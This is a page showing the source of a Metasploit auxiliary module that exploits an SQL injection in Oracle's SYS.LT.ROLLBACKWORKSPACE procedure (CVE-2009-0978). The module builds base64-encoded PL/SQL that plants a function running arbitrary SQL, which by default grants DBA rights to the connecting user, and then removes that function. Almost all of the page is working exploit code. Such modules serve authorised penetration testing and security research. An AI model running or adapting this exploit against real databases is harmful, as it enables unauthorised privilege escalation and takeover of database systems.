Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',11'Description' => %q{12This module exploits a sql injection flaw in the ROLLBACKWORKSPACE13procedure of the PL/SQL package SYS.LT. Any user with execute14privilege on the vulnerable package can exploit this vulnerability.15},16'Author' => [ 'MC' ],17'License' => MSF_LICENSE,18'References' =>19[20[ 'CVE', '2009-0978' ],21[ 'OSVDB', '53734'],22[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],23],24'DisclosureDate' => '2009-05-04'))2526register_options(27[28OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),29])30end3132def run33return if not check_dependencies3435name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)36rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)37rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)38rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)39cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1)4041function = "42CREATE OR REPLACE FUNCTION #{cruft}43RETURN VARCHAR2 AUTHID CURRENT_USER44AS45PRAGMA AUTONOMOUS_TRANSACTION;46BEGIN47EXECUTE IMMEDIATE '#{datastore['SQL']}';48COMMIT;49RETURN '#{cruft}';50END;"5152package1 = %Q|53BEGIN54SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');55END;56|5758package2 = %Q|59BEGIN60SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');61END;62|6364uno = Rex::Text.encode_base64(function)65dos = Rex::Text.encode_base64(package1)66tres = Rex::Text.encode_base64(package2)6768sql = %Q|69DECLARE70#{rand1} VARCHAR2(32767);71#{rand2} VARCHAR2(32767);72#{rand3} VARCHAR2(32767);73BEGIN74#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));75EXECUTE IMMEDIATE #{rand1};76#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));77EXECUTE IMMEDIATE #{rand2};78#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));79EXECUTE IMMEDIATE #{rand3};80END;81|8283clean = "DROP FUNCTION #{cruft}"8485print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...")86prepare_exec(sql)87print_status("Removing function '#{cruft}'...")88prepare_exec(clean)89end90end919293